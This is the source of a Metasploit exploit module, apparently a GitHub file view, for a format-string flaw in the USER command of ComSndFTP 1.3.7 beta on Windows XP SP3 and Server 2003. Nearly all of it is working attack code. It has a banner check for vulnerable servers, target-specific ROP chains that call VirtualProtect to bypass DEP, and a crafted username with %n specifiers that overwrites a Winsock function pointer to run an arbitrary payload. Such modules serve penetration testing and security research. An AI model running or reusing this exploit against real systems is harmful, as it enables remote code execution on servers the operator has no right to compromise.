Path: blob/master/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb
23732 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability',15'Description' => %q{16This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially17crafted format string specifier as a username. The crafted username is sent to the server to18overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer19is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.20The SEH exit function is preferred so that the administrators are not left with an unhandled21exception message. When using the meterpreter payload, the process will never die, allowing22for continuous exploitation.23},24'Author' => [25'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc26'rick2600 <rick2600[at]corelan.be>', # msf module (target XP)27'mr_me <mr_me[at]corelan.be>', # msf module (target 23k)28'corelanc0d3r <peter.ve[at]corelan.be>' # msf module29],30'Arch' => [ ARCH_X86 ],31'License' => MSF_LICENSE,32'References' => [33['CVE', '2012-10055'],34# When a DoS is NOT a DoS35[ 'OSVDB', '82798'],36[ 'EDB', '19024']37],38'DefaultOptions' => {39'EXITFUNC' => 'seh'40},41'Platform' => ['win'],42'Privileged' => false,43'Payload' => {44'Space' => 1000,45'BadChars' => "\x00\x0a\x0d",46'StackAdjustment' => -3500,47'DisableNops' => true48},49'Targets' => [50[51'Windows XP SP3 - English',52{53'Functionpointer' => 0x71AC4050, # winsock pointer54'Functionaddress' => 0x71AB2636, # the repair address55'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn56'Pad' => 56857}58],59[60'Windows Server 2003 - English',61{62'Functionpointer' => 0x71C14044, # winsock pointer63'Functionaddress' => 0x71C02661, # the repair address64'Pivot' => 0x00408D16, # 0x004093AE-0x698 add esp, 72c ; retn65'Pad' => 56866}67]68],69'DisclosureDate' => '2012-06-08',70'Notes' => {71'Reliability' => UNKNOWN_RELIABILITY,72'Stability' => UNKNOWN_STABILITY,73'SideEffects' => UNKNOWN_SIDE_EFFECTS74}75)76)7778register_options(79[80Opt::RPORT(21),81]82)83end8485def check86connect87banner = sock.get_once || ""88disconnect8990validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"91validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"92validate << "\xf1\xc6\xf7\x21\x0d\x0a"9394if banner.to_s == validate95return Exploit::CheckCode::Vulnerable96end9798return Exploit::CheckCode::Safe99end100101def junk(n = 4)102return rand_text_alpha(n).unpack("V").first103end104105def exploit106rop = ''107if target.name =~ /Server 2003/108# C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959109rop = [1100x77be3adb, # pop eax ; retn1110x77ba1114, # <- *&VirtualProtect()1120x77bbf244, # mov eax,[eax] ; pop ebp ; retn113junk,1140x77bb0c86, # xchg eax,esi ; retn1150x77be3adb, # pop eax ; retn1160xFFFFFBFF, # dwSize1170x77BAD64D, # neg eax ; pop ebp ; retn118junk,1190x77BBF102, # xchg eax,ebx ; add [eax],al ; retn1200x77bbfc02, # pop ecx ; retn1210x77bef001, # ptr that is w+1220x77bd8c04, # pop edi ; retn1230x77bd8c05, # retn1240x77be3adb, # pop eax ; retn1250xFFFFFFC0, # flNewProtect1260x77BAD64D, # neg eax ; pop ebp ; retn1270x77be2265, # ptr to 'push esp ; ret'1280x77BB8285, # xchg eax,edx ; retn1290x77be3adb, # pop eax ; retn1300x90909090, # nops1310x77be6591, # pushad ; add al,0ef ; retn132].pack("V*")133134elsif target.name =~ /XP SP3/135# C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512136rop = [1370x77C21D16, # pop eax ; retn1380x77C11120, # <- *&VirtualProtect()1390x77C2E493, # mov eax,[eax] ; pop ebp ; retn140junk,1410x77C21891, # pop esi ; retn1420x77C5D010, # ptr that is w+1430x77C2DD6C, # xchg eax,esi ; add [eax],al; retn1440x77C21D16, # pop eax ; retn1450xFFFFFBFF, # dwSize1460x77C1BE18, # neg eax ; pop ebp ; retn147junk,1480x77C2362C, # pop ebx ; retn1490x77C5D010, # ptr that is w+1500x77C2E071, # xchg eax,ebx ; add [eax],al ; retn1510x77C1F519, # pop ecx ; retn1520x77C5D010, # ptr that is w+1530x77C23B47, # pop edi ; retn1540x77C23B48, # retn1550x77C21D16, # pop eax ; retn1560xFFFFFFC0, # flNewProtect1570x77C1BE18, # neg eax ; pop ebp ; retn1580x77C35459, # ptr to 'push esp ; ret'1590x77C58FBC, # xchg eax,edx ; retn1600x77C21D16, # pop eax ; retn1610x90909090, # nops1620x77C567F0, # pushad ; add al,0ef ; retn163].pack("V*")164end165166stage1 = %Q{167mov eax, #{target['Functionpointer']}168mov ecx, #{target['Functionaddress']}169mov [eax], ecx170}171172offset_wp = rand_text_alphanumeric(1)173pivot = target['Pivot']174offset = target['Pad'] + rop.length + stage1.length + payload.encoded.length175176attackstring = rand_text_alphanumeric(7)177attackstring << [target['Functionpointer']].pack('V')178attackstring << "%#{pivot}x" # special pointer to our pivot179attackstring << "%p" * 208 + "#{offset_wp}%n" # format specifiers to read and write the function pointer180attackstring << rand_text_alphanumeric(target['Pad'])181attackstring << rop182attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string183attackstring << payload.encoded184attackstring << rand_text_alphanumeric(2000 - offset)185attackstring << "\r\n"186187sploit = "USER #{attackstring}\r\n"188189print_status("Triggering overflow...")190connect191sock.get_once(1024)192sock.put(sploit)193select(nil, nil, nil, 2)194handler195disconnect196end197end198199200